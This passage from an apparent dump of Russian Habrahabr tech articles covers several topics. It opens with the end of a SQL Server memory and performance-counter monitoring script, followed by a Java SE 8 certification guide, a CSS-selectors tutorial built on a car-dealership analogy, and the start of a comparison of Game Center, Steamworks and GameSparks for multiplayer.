когда обновляется исходная таблица. Пример такого графика: Для клонирования файла достаточно в свойствах нашего подключения в Excel изменить строку подключения, вписав новое имя сервера. Касательно «борьбы» баз за буфферный пул и вычисления рекомендуемого количества оперативной памяти, для минимизации этой борьбы можно использовать следующий скрипт. Вычисляет максимальное использование оперативной памяти каждой БД, а также средний процент размера буфферного пула относительно общего размера оперативной памяти, выделенной серверу и на основании этих данных вычисляет «идеальный» размер оперативки, требуемой серверу: DECLARE @ram INT, @avg_perc DECIMAL, @recommended_ram decimal --Узнаем, сколько сейчас выделено серверу SELECT @ram = CONVERT(INT,value_in_use ) FROM sys.configurations WHERE name = 'max server memory (MB)' ORDER BY name OPTION (RECOMPILE); --Узнаем какой процент от всей памяти составляет Buffer Pool SELECT @avg_perc = avg(t.perc) FROM ( SELECT sum(Size)/@ram*100 AS perc FROM Monitor.dbo.BufferPoolLog GROUP BY collection_time ) t --Вычисляем рекоммендуемый объем оперативной памяти SELECT @recommended_ram = sum(t.maxsize)*100/@avg_perc FROM ( SELECT db_name, MAX(Size) AS maxsize FROM Monitor.dbo.BufferPoolLog GROUP BY db_name ) t select @ram as current_RAM_MB, @recommended_ram as Recommended_RAM_MB Стоит заметить, что данные вычисления имеют смысл только если вы уверены, что запросы, работающие на сервере оптимизированы и не делают full table scan при каждом удобном (и не очень) случае. Также следует убедиться, мониторя метрику Maximum Granted Workspace, что у вас на сервере нет запросов, отъедающих часть буфферного пула под сортировку и hash-операции. Пример войны баз за буфферный кэш (имена замазал): Кстати, оказалось, что этот метод работает намного быстрее нашего заббикса, так что я оставил его себе на вооружение. Как и обещал, весь T-sql в одном скрипте: Script create database monitor -- Создаем БД GO use monitor GO create table perf_counters -- Создаем таблицу, куда будем записывать данные по счетчикам ( collect_time datetime, counter_name nvarchar(128), value bigint ) GO CREATE CLUSTERED INDEX cidx_collect_time -- Индекс, чтобы потом было быстрее делать select ON perf_counters ( collect_time ) GO CREATE TABLE BufferPoolLog ( collection_time datetime NOT NULL, db_name nvarchar(128) NULL, Size numeric(18, 6) NULL, dirty_pages_size numeric(18, 6) ) GO CREATE CLUSTERED INDEX cidx_collection_time ON BufferPoolLog ( collection_time ) GO create procedure sp_insert_perf_counters -- Процедура, которая собирает счетчики AS insert into perf_counters select getdate() as Collect_time, rtrim(counter_name) as Counter, Value = CASE WHEN counter_name like '%/sec%' --Счетчики, которые "что-то в секунду" - инкрементальные, т.е. чтобы получить текущее "среднее" значение нужно поделить на кол-во секунд аптайма. Естественно, с течением времени очень слабо колеблются then cntr_value/DATEDIFF(SS, (select create_date from sys.databases where name = 'tempdb'), getdate()) ELSE cntr_value END from sys.dm_os_performance_counters where counter_name = N'Checkpoint Pages/sec' or counter_name = N'Processes Blocked' or (counter_name = N'Lock Waits/sec' and instance_name = '_Total') or counter_name = N'User Connections' or counter_name = N'SQL Re-Compilations/sec' or counter_name = N'SQL Compilations/sec' or counter_name = 'Batch Requests/sec' or (counter_name = 'Page life expectancy' and object_name like '%Buffer Manager%') GO create procedure sp_select_perf_counters -- Создаем процедуру, которая селектит из нашей таблички @start datetime = NULL, @end datetime = NULL as if @start is NULL set @start = dateadd(HH, -3, getdate()) if @end is NULL set @end = getdate() select collect_time, counter_name, value from monitor..perf_counters where collect_time >= @start and collect_time <= @end go CREATE procedure sp_insert_buffer_pool_log --процедура, которая собирает данные по использованию буфферного пула базами данных AS insert into BufferPoolLog SELECT getdate() as collection_time, CASE WHEN database_id = 32767 THEN 'ResourceDB' ELSE DB_NAME(database_id) END as [db_name], (COUNT(*) * 8.0) / 1024 as Size, Sum(CASE WHEN (is_modified = 1) THEN 1 ELSE 0 END) * 8 / 1024 AS dirty_pages_size FROM sys.dm_os_buffer_descriptors GROUP BY database_id GO CREATE procedure sp_select_buffer_pool_log @start datetime = NULL, @end datetime = NULL AS if @start is NULL set @start = dateadd(HH, -3, getdate()) if @end is NULL set @end = getdate() SELECT collection_time, db_name, Size FROM BufferPoolLog WHERE (collection_time>= @start And collection_time<= @end) ORDER BY collection_time, db_name GO -- Далее создаем джобу, которая ежеминутно дергает процедуру по счетчикам USE [msdb] GO BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback END DECLARE @jobId BINARY(16) EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'collect_perf_counters', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=0, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'sa', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'sp_insert_perf_counters', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'TSQL', @command=N'sp_insert_perf_counters', @database_name=N'monitor', @flags=0 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'Every 1 minute', @enabled=1, @freq_type=4, @freq_interval=1, @freq_subday_type=4, @freq_subday_interval=1, @freq_relative_interval=0, @freq_recurrence_factor=0, @active_start_date=20161202, @active_end_date=99991231, @active_start_time=0, @active_end_time=235959 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION GOTO EndSave QuitWithRollback: IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION EndSave: GO -- Создаем джобу, которая собирает данные по использованию буфферного пула. Раз в три минуты BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback END DECLARE @jobId BINARY(16) EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'BufferPoolUsage', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=0, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'sa', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'1', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'TSQL', @command=N'sp_insert_buffer_pool_log', @database_name=N'Monitor', @flags=0 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'Every 3 minutes', @enabled=1, @freq_type=4, @freq_interval=1, @freq_subday_type=4, @freq_subday_interval=3, @freq_relative_interval=0, @freq_recurrence_factor=0, @active_start_date=20161117, @active_end_date=99991231, @active_start_time=0, @active_end_time=235959 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION GOTO EndSave QuitWithRollback: IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION EndSave: GO Использованные статьи: » SQL Server Memory Buffer Pools: Understand the Basics » How to execute stored procedure in excel with parameters
https://habrahabr.ru/post/317426/
habrahabr
Как стать Oracle Certified Professional Java SE 8 Programmer
['oracle', 'java', 'certification']
В этой статье речь снова пойдет о сертификации. Не так давно я рассказывал о процессе получения сертификата от компании Google для Android разработчиков. Почитать об этом можно вот здесь. В статье...
В этой статье речь снова пойдет о сертификации. Не так давно я рассказывал о процессе получения сертификата от компании Google для Android разработчиков. Почитать об этом можно вот здесь. В статье я периодически приводил сравнение с процессом получения сертификатов от Oracle. Немного подумав, я решил раскрыть эту тему подробнее, благо сертификат от Oracle я получил полгода назад и еще не все забыл. Естественно, на хабре уже не раз описывали этот процесс. Например, достаточно подробные описания можно найти тут и тут. Однако, указанные статьи были написаны несколько лет назад, и затрагивают Java SE 7. Я же постараюсь сосредоточиться на особенностях экзамена по Java SE 8 и в принципе обновить информацию по процессу получения сертификата. Тех, кому все еще интерсено, прошу под кат. Разновидности сертификатов Итак, по какой-то причине вы решили стать не просто Java разработчиком, а сертифицированным Java разработчиком. За сертификатом мы естественно отправимся к Oracle. Уж чего-чего, а этого добра у них хватает. Но нас интересуют только сертификаты по Java, в частности Java SE 8. Какие же у нас есть варианты? Посмотреть их можно тут. На момент написания статьи есть следующие варианты: Как видно, есть 3 уровня сертификатов: Associate Professional Master Если это ваш первый сертификат по Java, то ваш путь однозначно приведет вас к Java SE 8 Oracle Certified Associate (OCA) certification. Это самый простой экзамен, но без него (или аналогичных, о чем чуть позже) не получить остальные. Для получения этого сертификата нужно всего лишь сдать экзамен за номером 1Z0-808. Мне его сдавать не довелось, поэтому двинемся дальше. Если вам уже довелось получать какой-то из сертификатов, то можно двигаться в сторону Oracle Certified Professional Java SE 8 Programmer, о котором собственно эта статья. И вот здесь уже есть следующие варианты: у вас есть сертификат Associate Java SE 8 у вас есть сертификат Programmer Java SE 7 у вас есть сертификат Programmer Java SE 6 or below Хочу обратить на этот момент более пристальное внимание. От того, какой у вас сертификат, зависит выбор экзамена, который нужно проходить. А от того, какой экзамен будет выбран, будут зависеть вопросы на этом самом экзамене. В первом случае нам понадобится экзамен 1Z0-809. Во втором случае нам понадобится экзамен 1Z0-810. В третьем случае нам понадобится экзамен 1Z0-813. Ну и наконец, венец всему, Oracle Certified Master, Java SE 6 Developer. А почему 6, спросите вы, ведь речь идете о Java SE 8. В чем причина я не знаю, но Oracle не собирается выпускать экзамен Master уровня для 8-й Java. По крайне мере в поддержке мне ответили именно так. Вероятно, дело в содержании экзамена. Уровни Associate и Programmer проверяют знание SDK соответствующей версии. В случае Master нужно писать приложение. И в этом случае наверное не так важно, на какой именно Java оно написано. Так же Master является самым дорогим экзаменом — его стоимость неумолимо подкрадывается к 1000$, так как для его получения нужно в обязательном порядке пройти какой-нибудь из обучающих курсов Oracle. Так уж получилось, что мне подошел третий вариант, так как у меня на руках имелся сертификат по Java SE 6, а семерку я пропустил, так как изменений там было не сильно много. Все, что будет написано дальше, будет относиться именно к получению сертификата Oracle Certified Professional Java SE 8 Programmer путем улучшения его из сертификата по 6-й Java. Подготовка Итак, вы определились с тем, какой экзамен вам нужно сдавать и готовы ринуться в бой. Но не советую торопиться. Даже если вы гуру Java, сертификация может преподнести вам много сюрпризов, в основном неприятных. Что же нужно иметь ввиду? Сертификация проверяет ваши знания SDK, причем разными способами. Где-то просят оценить кусок кода и указать на ошибки. Где-то нужно мысленно запустить программу и определить ее вывод. Где-то нужно дополнить код. В общем вариантов много, но во всех скрывается один главный подвох. Точнее, их два. Нужно определить, скомпилируется ли приведенный кусок кода. В большом количестве вопросов есть вариант ответа, который предполагает, что код не скомпилируется. Если вы используете в работе IDE, то тут могут возникнуть сложности, так как оыбчно именно IDE берет на себя эту задачу. Понадобится некоторое время на то, чтобы это начать делать самому. И тут-то в дело вступает второй подвох — авторы тестов ждут от кандидатов безусловного знания сигнатур методов. Во многих вопросах компиляция не случится именно из-за того, что где-то не соответствует количество параметров, или не тот тип возврата, или метод пытается маскироваться под метод похожего класса. Все вышеописанное можно обойти достаточно простым способом — потратить некоторое время на подготовку к сертификации. Не на изучении Java, а именно подготовку к сертификации. И как раз сейчас я напишу, как же я готовился с тесту. Имея опыт подготовки к сертификации и зная, с чем придется столкнуться, я разделил для себя подготовку на 3 части: чтение книжки и решение mock задачек изучение рекомендаций Oracle вольные художества При подготовке к сертификации по Java 8 основное внимание стоит уделить Stream API и лямбдам. Этого будет много. Так же много будет вопросов про дату, время и связянные с этим вещи. NIO2 тоже будет много. Если вы делаете апгрейд со старой версии Java, то так же будет ряд специфичных вопросов по вещам, которых в этих старых версиях не было. Особенно это касается Java 6 и ранее. Первая часть достаточно проста. Нам нужно найти книжку, в которой описывается процесс подготовки к сертификации со всеми подробностями. И такая книжка существует. Они есть для разных версий Java и разных уровней сертификации. В моем случае понадобилась книжка «Java OCP 8 Programmer II Study Guide» за авторством Jeanne Boyarsky и Scott Selikoff. В ней очень подробно и хорошо расписан процесс подготовки. Содержимое разбито на части, к каждой из которых прилагаются 10-20 проверочных задачек. Так же на специальном сайте, ссылка на который есть в конце книжки, можно пройти 3 проверочных экзамена. Моя схема подготовки была следующая. Я прочитал книжку от начала до конца, попутно решая задачки в конце каждой части. После этого прошел 1-й из трех экзаменов, набрав ровно проходной бал 63%. Весьма недовольный результатом прочитал книжку еще раз, сосредоточившись на тех частях, в которых набрал меньше всего баллов. Задачки в конце каждой части я также прорешал еще раз. Второй экзамен был получше, по-моему что-то около 70%. После этого я перешел ко второй части подготовки. Заходим на страничку выбранного экзамена. Для меня ее интересная часть выглядела так. Там заходим во вкладку Exam Topics и видим длинный список того, что будет спрашиваться на экзамене. Берем каждый пункт и тщательно препарируем. После прочтения и осознания этого списка вы должны познать дао быть в курсе почти любой каверзы со стороны разработчиков. Вторая часть плавно перетекает в третью. Вооружившись знанием из книжки и знанием того, что будут спрашивать, пробуем писать небольшие кусочки кода по списку. В ходе этого процесса я открыл для себя пяток интересных вещей, две из которых встретились мне на экзамене. Т.е. о них нигде до этого напрямую не было упомянуто. Вдоволь наигравшись с написанием кода, я прошел третий экзамен и получил что-то около 75%. Следует заметить, что проверочные вопросы обычно оказываются сложнее реальных. Поэтому я счел результат удовлетворительным и отправился записывается на экзамен. Регистрация на сертификацию Как и прежде, Oracle сотрудничает с сертификационными центрами, которые делают за них всю грязную работу по организации теста. Решив не искать добра от добра, я отправился на сайт того центра, где получал первый сертификат. Если вы там не были, нужно будет зарегистрироваться. После чего, скорее всего, нужно будет заполнить профиль. Я это делал 4 года назад, поэтому подробностей не помню. Но с профилем нужно быть аккуратнее. Когда я его создавал, я находился в Росии, и указал имя и фамилию в первой же пришедшей в голову транслитерации. Так как при первой сертификации я предъявлял российский паспорт, особых вопросов это не вызвало. Зайдя в профиль в этот раз, я обнаружил, что данные не совпадают с данными в моем загранпаспорте, которым я пользуюсь ввиду нахождения в другой стране. Чтобы не поиметь проблем в день сертификации, я решил обновить данные. Для этого пришлось пообщаться с техподдержкой, выслать им скан паспорта и совершить еще ряд телодвижений. Заняло это все несколько дней. Так что лучше будьте сразу внимательнее к деталям. После заполнения профиля можно собственно перейти к назначению даты и места теста. Ищем список авторизованных центров в вашем городе и выбираем понравившийся. К выбору стоит подойти вдумчиво, может даже съездить посмотреть. В каких-то центрах может быть холодно, или жарко, или шумно, или людно, или все что угодно. В моем случае в городе всего один центр, а ехать за 70 км в другой город мне было лениво. Выбираем доступные дату и время и переходим к оплате. На официальном сайте Oracle стоимость экзамена указана как 245$, но на самом деле цена может немного отличаться от страны к стране. В моем случае она составила 250 евро. После оплаты должна будет прийти кучка писем, сообщающих разную информацию. Ничего особо ценного я там не нашел. Можно выдохнуть и расслабиться, или продолжить подготовку. Прохождение теста В назначенный день отправляемся в центр сдачи. Лучше прийти заранее, так как надо будет заполнить ряд документов и сдать вещи. В моем случае вебкамера почему-то отказывалась распознавать мое лицо. Минут 15 ушло только на то, чтобы сделать фото. На экзамен нельзя брать ничего, от слова совсем. Все, что будет при вас обнаружено, может быть использовано против вас. Мне везло оба раза, что я оказывался в помещении один и мне никто не мешал. Но в принципе у вас могут быть соседи, которые тоже что-то будут сдавать. На тест отводится около 2 часов, в зависимости от варианта экзамена. Обычно удается управиться быстрее. Все вопросы в тесте с множественным выбором. Если ответов несколько, то говорится, сколько именно. В ходе теста вопросы можно пропускать и отвечать позже. Можно сразу вычеркивать неправильные ответы, чтобы потом было проще выбирать. Если совсем не знаете ответ — выберите хоть что-то. Шансы угадать не такие и маленькие. После того, как все вопросы отвечены, завершаем тест. Раньше сразу показывался результат, теперь надо подождать. Забираем свои вещи и уходим. Если тест сдать не получится, за новую попытку надо будет заплатить полную сумму. По приходу домой меня уже ждало письмо, в котором сообщалось, что я прошел тест и набрал 86%. Не так и плохо, учитывая то, что 4 года назад я набрал 80% и в общем-то не являюсь большим специалистом по Java, тем более по 8-й части, так как пишу под Android. Проходной балл, как я уже упоминал, 63%. Так же в письме сообщалось, что сертификат будет готов через несколько дней. И действительно, через несколько дней в личной кабинете на сайте Orcale появился новый сертификат. Выглядит он так. Так же к сертификату прилагает значок (badge) на каком-то стороннем сайте. Выглядит так. При желании можно заказать себе бумажную копию, что я и сделал. Выглядит точно так же. Пришла по почте в течении 2-3 недель. Через какое-то время пришло письмо, предлагающее получить бесплатно фуболку Java. Думаю, внимательные читатели уже заметили ее на предыдущих скриншотах. Кто же откажется от халявной футболки? Прислали тоже через 2-3 недели. Итоги На этом процесс сертификации можно считать завершенным. Подведем краткие итоги того, что нам понадобится и что мы получим. Понадобится: какой-нибудь предшествующий сертифкат по Java от Oracle книжка для подготовки время для подготовки около 250$ за сдачу теста время для сдачи теста много терпения, чтобы почувствовать себя компилятором :) Получим: цифровой сертификат в личном кабинете бумажный сертификат цифровой значок футболку (спешите, предложение ограничено) сакральное знание о Java SE 8 Всем, кто решится на это мероприятие, желаю терпения и удачи.
https://habrahabr.ru/post/317432/
habrahabr
CSS-селекторы в автосалоне
['CSS', 'селекторы', 'веб-разработка', 'обучение']
Технологии веб-разработки основаны на простых принципах, которые зачастую сложно понять. С этим, пожалуй, сталкиваются все начинающие программисты. Один из подходов к пониманию технологий, а значит...
Технологии веб-разработки основаны на простых принципах, которые зачастую сложно понять. С этим, пожалуй, сталкиваются все начинающие программисты. Один из подходов к пониманию технологий, а значит – к их эффективному применению, заключается во взгляде на них через аналогии из реального мира. Вот, например, CSS-селекторы. Если вы знаете, что их используют для стилизации элементов веб-станиц, но не вполне понимаете, как именно они работают, полагаю, сегодня у вас есть шанс это исправить. Для того, чтобы разобраться с тем, как работают CSS-селекторы, отправимся в автосалон. Итак, вы оказались в автосалоне, в котором выставлены машины разных марок, цветов, выпущенные в разное время. В таких местах обычно встречаются и продавцы, но их мы в наш пример включать не будем. Автомобили, а также их характеристики, можно классифицировать, используя ту же систему, которая лежит в основе CSS-селекторов. И если вам понятно, что автомобили на рисунке ниже можно разделить на седаны, кабриолеты и лёгкие грузовики, это значит, что вы сможете понять и то, как устроены CSS-селекторы. Для начала опишем автомобили, выставленные на продажу, с помощью HTML-кода: <section>    <div class='sedan blue 2015 leatherSeats'></div>    <div class='sedan red 2012 hatchback'></div>    /** 10 more */ </section> <section>    <div id="123xyz" class='convertible purple audi v8'></div>    <div class='convertible green mustang dualExhaust'></div>    /** 10 more */ </section> <section>    <div id="789abc" class='truck 2014 seatWarmer crewCab'></div>    <div class='truck 2013 powerSteering'></div>    /** 10 more */ </section> Мы собираемся рассмотреть четыре базовых способа стилизации HTML-элементов с помощью CSS. А именно: По типу элемента. В нашем случае речь идёт о теге <div> , содержащем сведения об автомобиле. По классу (class). Например, это класс blue , назначенный первому автомобилю в коде. По идентификатору (id). Пример идентификатора из кода – 123xyz . По отношениям с другими элементами Рассмотрим эти варианты подробнее. Типы элементов В вышеприведённом примере HTML-кода каждый тег <div> символизирует отдельный автомобиль. Предположим, нам нужно, с использованием CSS, назначить некие свойства всем этим автомобилям. Что у них общего у седанов ( sedan ), кабриолетов ( convertible ) или лёгких грузовиков ( truck )? На самом деле, список может получиться очень длинным, но мы ограничимся тремя свойствами. У каждого из наших автомобилей по четыре колеса, максимальная высота автомобиля не превышает 270 сантиметров, а кузов каждого сделан из стали. Запишем эти рассуждения в следующем виде: div{    wheels: 4;    max-height: 270;    material: steel; } С этого простого примера мы и начнём. Как видите, здесь задействованы некоторые CSS-свойства, которые будут по умолчанию применяться к тегам <div> . Как к тем, которые уже в коде есть, так и к тем, которые мы можем к нему добавить позже. Обратит внимание на то, что этот код уместно будет назвать «псевдо-CSS», так как при стилизации, скажем, тех же тегов <div> на реальной веб-странице, в дело пойдут совсем другие свойства. На самом деле, мы можем развивать эту идею дальше. Опишем с помощью HTML особенности внутреннего оформления салонов автомобилей. Вот, например, как можно описать седан: <div class='sedan'>    <div class='frontRow'>        <div class='window'></div>        <div class='seat'></div>        <div class='seat'></div>        <div class='window'></div>    </div>    <div class='backRow'>        <div class='window'></div>        <div class='seat'></div>        <div class='seat'></div>        <div class='seat'></div>        <div class='window'></div>    </div> </div> Седаны имеют два ряда сидений. Передний ряд ( frontRow ) содержит два кресла, задний ( backRow ) – три. Крайние кресла в рядах находятся около окон. Есть ли у сидений автомобилей какие-нибудь общие свойства? Выясним это чуть позже. Классы Взгляните на самый первый фрагмент HTML-кода, который содержит описание всех автомобилей, выставленных на продажу. Обратите внимание на то, что каждому тегу <div> , символизирующему автомобиль, назначен набор классов. Эти классы используются для придания общих свойств всем членам класса. Скажем, мы назначаем класс year2005 различным седанам, грузовикам и кабриолетам, вышедшим с конвейера в 2005-м году. Что общего может быть у таких автомобилей? Например – автомагнитола с CD-плеером! Отразим это в CSS-коде, который задаёт стиль класса. .year2005{    muiscPlayer: cd; } А что если у нас имеется класс crewCab , символизирующий наличие у автомобиля, в частности, у грузовика, двойной кабины? У грузовиков с такой кабиной имеется два ряда сидений, в которых, в общей сложности, оказывается пять кресел. Этот класс можно использовать специально для грузовиков. Классы комбинируют, записывая их друг за другом через точку: .truck.crewCab{    seats: 5; } Классы – это более конкретный, чем тип элемента, способ ссылаться на HTML-элементы. Например, основной материал кузовов всех автомобилей по умолчанию – сталь. Но нужно отразить то, что некоторые авто имеют алюминиевый кузов. Для этого можно создать класс aluminium , который, будучи применён к тегу <div> , переопределит свойство material у всех членов класса. Вспомним: выше мы установили свойство material для всех элементов <div> в значение steel . div{    material: steel; } Теперь, применив класс aluminium к некоторым из элементов <div> , мы изменим steel на aluminium . .aluminum{    material: aluminum; } Таким образом, если одно и то же свойство имеет разное значение в стиле элемента и в стиле класса, которые применяются одному и тому же элементу, этот элемент получит свойство, заданное для класса. Идентификаторы HTML-элементам можно назначать идентификаторы, которые должны быть уникальными для каждого элемента. Это – самый точный способ обращения к отдельному элементу. Стиль, назначенный идентификатору, переопределяет все остальные стили. Идентификатор элемента очень похож на номерной знак автомобиля. Скажем, у нас имеется автомобиль с номером 123 XYZ . Предыдущий владелец захотел, чтобы этот автомобиль покрасили в неповторимый оттенок фиолетового цвета. Вот описание этого факта в CSS: #123xyz{    color: weirdpurple; } Элемент и его идентификатор соотносятся как «один-к-одному». Это очень напоминает реальные автомобили и их номерные знаки. У двух машин не может быть одинаковых номеров. Идентификатор, кроме того, самый мощный способ адресации элемента, благодаря которому можно создавать исключения из правил, которым должны подчиняться все элементы. Взаимоотношения между элементами Предположим, нам нужно, чтобы автомобили, которым назначен класс leatherSeats имели кожаные сиденья. Взгляните на второй фрагмент HTML-кода из раздела «Типы элементов», в котором мы описывали оформление салонов автомобилей. Для того, чтобы достичь желаемого эффекта, можно, для автомобилей с кожаными сиденьями, назначить каждому тегу <div> с классом seat ещё и класс leather . Но вот в чём дело: такой подход позволит нам обращаться лишь к сиденьям, воздействовать с помощью CSS только на «кожаные сиденья», а не на «автомобили с кожаными сиденьями». Ведь в теге <div> , соответствующем всему автомобилю, упоминаний о сиденьях нет. Теги с классом seat расположены внутри тегов с классами sedan , convertible или truck . Это значит, что «сиденья» в нашем примере являются потомками «автомобилей». Поэтому, для того, чтобы у нас была возможность обращаться и к «автомобилю с кожаными сиденьями», и к самим «сиденьям», назначим класс leatherSeats автомобилям с кожаными сиденьями, а для обращения к сиденьями используем такую конструкцию: .leatherSeats .seat{    material: leather; } Обратите внимание на то, что имена классов разделены пробелом. Это – так называемый селектор потомков. В результате, CSS-код из примера позволяет стилизовать все элементы с классом seat , которые находятся в контейнере, которому назначен класс leatherSeats . Теперь предположим, что нам нужно указать, что передние сиденья некоторых автомобилей оборудованы обогревом. В такой ситуации можно использовать селектор ~ , который известен как селектор родственников. Такой подход позволяет назначать стили элементам относительно их соседей. Например, это может выглядеть так: .driverSeat ~ .seat{    seatWarmers: true; } И вот ещё пример. Скажем, некая модель автомобиля отличается весьма необычными свойствами. Например, лёгкий грузовик Chevrolet 2008-го года оснащён DVD-плеерами, встроенными в задние сиденья. Вот какие рассуждения помогут выразить это в виде CSS: Начать нужно с нескольких классов, так как речь идёт о весьма специфическом типе автомобиля. Например, это может быть div.truck.chevy.year2008 . Затем стоит подумать о том, как можно обратиться к задним сиденьям. Заднему ряду сидений можно назначить дополнительный класс. Скажем, что-то вроде .backRow . Или можно воспользоваться селектором last-child , позволяющий выбрать последнего потомка, учитывая то, что в описании салона автомобиля сначала идут передние сиденья, потом – задние. И, наконец, нужно обратиться к самим сиденьям. В итоге выглядеть это может так: div.chevy.truck.year2008 .backRow .seat{    media: dvdPlayer; } Итоги Если вы плохо представляли себе особенности работы с CSS, надеюсь, этот пример помог вам понять то, что раньше было неясно. Его главное предназначение заключается в том, чтобы, перейдя от абстрактных понятий HTML и CSS, ко вполне осязаемым, конкретным автомобилям, помочь вам представить то, как CSS-стили влияют на HTML-документы. И, если вам удалось уложить в голове то, о чём мы говорили, открывайте редактор, да хотя бы тот же codepen.io , берите справочники по HTML и CSS , и приступайте к собственным экспериментам с кодом, которые позволят закрепить на практике всё то, что вы узнали и поняли.
https://habrahabr.ru/company/ruvds/blog/317430/
habrahabr
Реализация мультиплеера в игре. Сравнение возможностей Game Center, Steamworks и GameSparks
['Game Center', 'Steam', 'Game Sparks', 'мультиплеер', 'я пиарюсь']
Игры с многопользовательским режимом значительно интересней аналогичных игр без него. Но реализация мультиплеера подразумевает под собой наличие своего сервера, кода, реализующего сетевое...
Игры с многопользовательским режимом значительно интересней аналогичных игр без него. Но реализация мультиплеера подразумевает под собой наличие своего сервера, кода, реализующего сетевое взаимодействие, матчмекинг и многое другое. К счастью, существует множество готовых решений. В ходе разработки своей игры я опробовал следующие варианты: Game Center (игры под iOS) Steamworks (игры для Steam) GameSparks (кроссплатформенное решение) Под катом я расскажу про каждый из этих вариантов, основные возможности, возникшие трудности, плюсы и минусы. От кусков кода я воздержусь. Все есть в документации. Коротко обо всем Перечисленные варианта расположены в порядке возрастания возможностей и гибкости. Сложность реализации при этом тоже возрастает. 1. GameCenter Самый простой и, в то же время, самый скудный вариант. Игрок нажимает кнопку, после чего появляется окно поиска противника. После того, как набралось определенное количество игроков, матч запускается. В этот момент игроки получают возможность обмениваться сообщениями. После того, как все игроки покинули матч, игра завершается. 2. Steamworks Функционал разделен на две независимые части: матчмейкинг и обмен сообщениями. Первая половина состоит из возможности создавать комнаты, в которых игроки могу обсуждать предстоящий матч. Вторая половина — это функционал для непосредственного обмена сообщениями. Обе части абсолютно независимы. Можно в любой момент отправить сообщение любому игроку вне зависимости от того, в каких комнатах он находится. 3. GameSparks На самом деле, GameSparks — это полноценный сервер, со всеми вытекающими отсюда плюсами. Вы можете хранить данные игрока, верифицировать все его действия. Есть встроенные механизмы матчмекинга, лидербордов, ачивок и многое другое. Первые два варианта подойдут для простенькой игры с небольшими требованиями к безопасности. А для большой серьезной игры вам, конечно, необходим свой сервер. Для меня, последний вариант оказался самым приятным в разработке, так как удалось избавиться от множества костылей. Немножко о нашей игре GalaxyAdmirals — это пошаговая космическая стратегия. Геймплей состоит из коротких сражений на гексогональном игровом поле. Игроки ходят по очереди, элемент рандома отсутствует. По сути, это шахматы в космосе. В игре есть кампания из 30 миссий. Многопользовательский режим — это бой один на один со случайным противником. Игра сделана на Unity3D. Game Center Общее описание Game Center — это такое приложение под iOS. В нем отображаются ваши достижения в других играх: ачивки, таблицы рекордов. Можно добавлять друзей, бросать вызовы, сравнивать ваши достижения. Функционал не большой, а юзабилити всего этого, на мой взгляд, довольно сомнительный. Но самое главное то, что через Game Center можно реализовать простенький мультиплеер. Интеграция Возможно, существуют какие-то готовые плагины, но я писал свой на Objective C. Кода не много, и он довольно простой. Реализация Существует три варианта реализации мультиплеера через Game Center: Turn-based. Это для пошаговых игр, типа шашек, шахмат. Игроки делают ход по очереди. После каждого хода, игроку прилетает сообщение в Game Center, что теперь его очередь. При этом игра не обязательно должна быть запущена. Состояние игры хранится в Game Center. Игроки не общаются друг с другом, они общаются только с сервером чтобы обновить состояние игры. Self-hosted. Game Center осуществляет только матчмейкинг. Вы должны самостоятельно реализовать мультиплеер через свой сервер. Real-time. Как предыдущий пример, только обмен сообщениями происходит через ретрансляционный сервер Game Center. Это то, что использовал я. О нем поподробнее ниже. 